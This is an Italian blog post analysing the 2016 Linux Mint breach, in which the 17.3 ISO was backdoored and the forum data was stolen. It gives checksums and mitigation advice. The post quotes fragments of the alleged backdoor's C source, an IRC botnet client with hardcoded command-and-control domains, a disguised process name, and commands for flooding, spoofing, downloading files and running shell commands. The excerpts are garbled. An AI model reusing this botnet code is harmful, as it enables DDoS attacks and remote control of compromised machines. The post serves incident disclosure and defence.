Vai al contenuto
Home » Linux Mint, la ISO intorno al buco

Linux Mint, la ISO intorno al buco

Nella giornata di ieri, sul blog della distribuzione Linux
Mint
, viene
annunciato che a seguito di un’intrusione
subita nella stessa giornata del 21 Febbraio, è stato possibile per
l’attaccante modificare la ISO della versione 17.3 della distribuzione,
inserendo una backdoor al suo interno.

Cosa ha funzionato. Sicuramente la comunicazione chiara e trasparente.
Ammettere di avere un problema, significa avere a cuore i propri utenti.

The hacked ISOs are hosted on 5.104.175.212 and the backdoor connects to
absentvodka.com.

Cosa non ha funzionato. Il loro programma di Vulnerability Management. Poi ci
sta, trovi l’attaccante bravo e succede che entra. Però se distribuisci una tua
distro Linux, i tuoi clienti si aspettano il top lato sicurezza informatica.

Comunque, dato che può succedere, se siete utilizzatori di questa distribuzione
Linux, controllate che l’MD5 dell’ISO installata sulle vostre macchine sia una
di queste:

6e7f7e03500747c6c3bfece2c9c8394f  linuxmint-17.3-cinnamon-32bit.iso
e71a2aad8b58605e906dbea444dc4983  linuxmint-17.3-cinnamon-64bit.iso
30fef1aa1134c5f3778c77c4417f7238  linuxmint-17.3-cinnamon-nocodecs-32bit.iso
3406350a87c201cdca0927b1bc7c2ccd  linuxmint-17.3-cinnamon-nocodecs-64bit.iso
df38af96e99726bb0a1ef3e5cd47563d  linuxmint-17.3-cinnamon-oem-64bit.iso

In caso contrario, riformattate da zero la macchina e cambiate tutte le
password delle web application a cui avete acceduto da quando avete installato
l’ISO compromessa.

E il forum

In un secondo post, si da notizia che
anche il forum è stato compromesso. Sono stati
quindi interessati i seguenti dati degli utenti:

Your forums username
An encrypted copy of your forums password
Your email address
Any personal information you might have put in your signature/profile/etc…
Any personal information you might written on the forums (including private topics and private messages)

Dai commenti, di utenti preoccupati, sembrerebbe esserci sempre lui di mezzo:
WordPress.

La backdoor

Come da post su Hacker News,
questo sarebbe il presunto codice sorgente in
C
della backdoor
introdotta nella ISO di Mint.

Diciamo che è solo presunto, in quanto la segnalazione viene da un pentester di
Perth, tale Anthony Cozamanis e non
ho capito il legame tra lui, la distribuzione e l’attacco.

Si parte subito molto bene. Definisco un po’ di costanti che mi fanno
immaginare che si vada a parare nel territorio dei server IRC.

#define STARTUP 1
#undef IDENT// Only enable this if you absolutely have to
#define FAKENAME "apt-cache"// What you want this to hide as
#define CHAN "#mint"// Channel to join
#define KEY "bleh"  // The key of the channel
int numservers=5 // Must change this to equal number of servers down there
char *servers[] = {
  "updates.absentvodka.com",
  "updates.mintylinux.com",
  "eggstrawdinarry.mylittlerepo.com",
  "linuxmint.kernel-org.org",
  "updates.absentvodka.com",
  (void*)0

Nel main, troviamo ad un certo punto, la preparazione delle informazioni una
connessione IRC e una routine, identd() che non fa altro che aprire sulla
macchina compromessa, un demone sulla porta 113, solitamente utilizzata da
identd.

  nick=makestring
  ident=makestring
  user=makestring
  chan=CHAN
  key=KEY
  server=NULL
  sa:
#ifdef IDENT
  for (i=0i<numpidsi++) {
    if (pids[i] != 0 && pids[i] != getpid()) {
      kill(pids[i],9
      waitpid(pids[i],NULL,WNOHANG
    }
  }
 pids=NULL
 numpids=0
  identd
#endif
  con

In poche parole, l’host compromesso si connette ad uno dei server IRC
specificati all’inizio, e si trasforma in uno zombie. L’attaccante, usando il
protocollo IRC, invia i comandi ai suoi zombie per fare cose brutte.

struct FMessages { char *cmd void (* func)(int,char *,int,char ** } flooders[] = {
  { "TSUNAMI", tsunami },
  { "PAN", pan },
  { "UDP", udp },
  { "UNKNOWN", unknown },
  { "NICK", nickc },
  { "SERVER", move },
  { "GETSPOOFS", getspoofs },
  { "SPOOFS", spoof },
  { "DISABLE", disable },
  { "ENABLE", enable },
  { "KILL", killd },
  { "GET", get },
  { "VERSION", version },
  { "KILLALL", killall },
  { "HELP", help },
{ (char *)0, (void (*)(int,char *,int,char **))0 } 

La backdoor viene fornita anche con un help molto parlante.

void help(int sock, char *sender, int argc, char **argv) {
  if (mfork(sender) != 0) return
  Send(sock,"NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewallsn",sender sleep(2
  Send(sock,"NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network driversn",sender sleep(2
  Send(sock,"NOTICE %s :UDP <target> <port> <secs>                       = A udp floodern",sender sleep(2
  Send(sock,"NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp floodern",sender sleep(2
  Send(sock,"NOTICE %s :NICK <nick>                                      = Changes the nick of the clientn",sender sleep(2
  Send(sock,"NOTICE %s :SERVER <server>                                  = Changes serversn",sender sleep(2
  Send(sock,"NOTICE %s :GETSPOOFS                                        = Gets the current spoofingn",sender sleep(2
  Send(sock,"NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnetn",sender sleep(2

  Send(sock,"NOTICE %s :DISABLE                                          = Disables all packeting from this clientn",sender sleep(2
  Send(sock,"NOTICE %s :ENABLE                                           = Enables all packeting from this clientn",sender sleep(2

  Send(sock,"NOTICE %s :KILL                                             = Kills the clientn",sender sleep(2
  Send(sock,"NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hdn",sender sleep(2
  Send(sock,"NOTICE %s :VERSION                                          = Requests version of clientn",sender sleep(2
  Send(sock,"NOTICE %s :KILLALL                                          = Kills all current packetingn",sender sleep(2
  Send(sock,"NOTICE %s :HELP                                             = Displays thisn",sender

  Send(sock,"NOTICE %s :IRC <command>                                    = Sends this command to the servern",sender sleep(2
  Send(sock,"NOTICE %s :SH <command>                                     = Executes a commandn",sender sleep(2
  exit(0
}

Una mitigazione fast & furious se pensate di avere delle Mint Linux installate
e compromesse nelle vostre reti?

Bloccate sui firewall perimetrali il traffico in uscita, verso gli host:

  • updates.absentvodka.com
  • updates.mintylinux.com
  • eggstrawdinarry.mylittlerepo.com
  • linuxmint.kernel-org.org
  • updates.absentvodka.com

Off by one

Questo incidente cosa ci deve insegnare? Da nuova benzina alla polemica open vs
closed sui temi di sicurezza? No, niente di tutto questo. Deve insegnare, che
quando metto online una serie di servizi, devo trattarli tutti con la stessa
attenzione, applicando politiche di sicurezza e hardening, facendo i dovuti
test del caso e applicando le patch.

Sono nozioni che ormai vengono ripetute allo sfinimento. Qualcuno le seguirà
mai?

Enjoy it.

Tag:

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.